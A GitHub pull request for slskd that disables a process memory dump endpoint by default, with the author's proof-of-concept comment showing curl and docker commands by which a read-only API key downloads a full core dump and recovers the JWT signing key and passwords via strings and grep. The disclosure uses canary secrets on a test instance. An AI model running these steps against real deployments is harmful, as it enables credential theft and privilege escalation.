8000 fix: disable remote memory dumps by default by sielicki · Pull Request #1899 · slskd/slskd · GitHub
[go: up one dir, main page]
Skip to content

fix: disable remote memory dumps by default - #1899

Closed
sielicki wants to merge 1 commit into
slskd:masterfrom
sielicki:fix/disable-remote-memory-dumps
Closed

fix: disable remote memory dumps by default#1899
sielicki wants to merge 1 commit into
slskd:masterfrom
sielicki:fix/disable-remote-memory-dumps

Conversation

@sielicki
@sielicki sielicki commented Oct 22, 2026 •
edited
Loading
Copy link
Copy Markdown

Summary

Disable the process memory dump endpoint by default and require administrator access when enabled. Add configuration documentation and unit tests for both safeguards.

Testing

Built with .NET 10 via Nix; all 1,475 existing unit tests and two new tests passed. Changed C# files pass formatting.

@sielicki
fix: disable remote memory dumps by default
78f5e53 
Require administrator access when enabled. Cover the default denial
and role requirement with unit tests.

Signed-off-by: Nicholas Sielicki <opensource@nslick.com>
@sielicki
sielicki commented Oct 22, 2026 •
edited
Loading
Copy link
Copy Markdown
Author

Prior to this commit, any authenticated user can dump a core and plausibly escalate privileges to administrator by reading the jwt signing key from the core and forging an admin token. Please take this patch.

@sielicki
sielicki commented Oct 22, 2026
Copy link
Copy Markdown
Author

PoC results (test instance only)

Tested against an instance I control. No administrator credential was used for the dump request.

  • Image: slskd/slskd:latest
  • Digest: sha256:588af49abc3088d639c8f1174d3bfad6e92c093a275a593140e3ac9311ebf6c4
  • Version: 0.26.1.0 (0.26.1.0+71dcc7a6)

Test config (/app/slskd.yml, excerpt):

flags:
  no_connect: true
  no_share_scan: true
  no_version_check: true
web:
  authentication:
    username: slskd
    password: CANARY-web-password-0123456789
    jwt:
      key: CANARY-jwt-key-0123456789abcdefXYZ
    api_keys:
      poc:
        key: CANARY-readonly-key-0123456789
        role: readonly
        cidr: 0.0.0.0/0,::/0
soulseek:
  username: canary-poc-user
  password: CANARY-slsk-password-0123456789

1. Authorization reaches the dump code

# no credential
curl -o /dev/null -w '%{http_code}\n' \
  http://127.0.0.1:5030/api/v0/application/dump
# 401

# read-only API key only
curl -H 'X-API-Key: CANARY-readonly-key-0123456789' \
  http://127.0.0.1:5030/api/v0/application/dump \
  -o slskd.dmp

With the stock image the read-only request is authorized and reaches Dumper, but dump creation currently fails in Docker:

http=500 size=52
"Could not find file '/tmp/slskd_xuics4xz.k43.dmp'."

You must install .NET to run this application.
App: /tmp/aepbbrce.w3k
App host version: 8.0.30
.NET location: Not found
Failed to resolve libhostfxr.so [not found].

That is the downloaded dotnet-dump apphost failing on the runtime-deps image, which has no shared .NET runtime. Mounting a .NET 8 runtime (DOTNET_ROOT=/dotnet8) gets further, but the image default DOTNET_EnableDiagnostics=0 then blocks the diagnostics connection:

Writing full to /tmp/slskd_gusdfn5k.10f.dmp
Unable to connect to Process 7.

So stock current Docker is accidentally mitigated by the dump tool being unable to run. That is not an authorization check.

2. Once dotnet-dump can run, secrets are recovered

Same image and config, only adding a mounted runtime and DOTNET_EnableDiagnostics=1:

docker run -d --name slskd-poc --user 1000:1000 \
  -p 127.0.0.1:5030:5030 \
  -v /tmp/slskd-poc/app:/app \
  -v /tmp/slskd-poc/dotnet8:/dotnet8:ro \
  -e DOTNET_ROOT=/dotnet8 \
  -e DOTNET_EnableDiagnostics=1 \
  slskd/slskd:latest

curl -H 'X-API-Key: CANARY-readonly-key-0123456789' \
  http://127.0.0.1:5030/api/v0/application/dump \
  -o slskd.dmp

file slskd.dmp
strings -a slskd.dmp | grep -a 'CANARY-jwt-key'

Observed:

http=200 type=application/octet-stream size=490459136
Content-Disposition: attachment; filename=slskd.dmp

slskd.dmp: ELF 64-bit LSB core file, x86-64, ...
from 'slskd', execfn: '/slskd/slskd'

[createdump] Writing full dump to file /tmp/slskd_lrtrjofu.adf.dmp
[createdump] Written 490340352 bytes (119712 pages) to core file
[createdump] Dump successfully written

All canaries were present in the dump (ASCII strings counts): the JWT key (4), the read-only API key (3), the web password (2), and the Soulseek password (2). They were also present as UTF-16LE strings. For example:

370447700:CANARY-jwt-key-0123456789abcdefXYZ

The JWT key signs JWTs (SymmetricSecurityKey from Jwt.Key in Program.cs), so recovering it with only a read-only credential is a plausible path to an administrator token. I have not demonstrated token forgery here.

Summary

Prior to this PR, any authenticated role can reach the full process dump endpoint. On deployments where the downloaded dotnet-dump can run (a .NET runtime is available and diagnostics are enabled, neither of which is blocked outside the current Docker defaults), a read-only user can download a full core dump and recover secrets from it, as shown above. Please take this patch so this does not depend on the dump tool failing to start.

@slskd slskd temporarily blocked sielicki Oct 22, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

2 participants

@sielicki @jpdillingham
0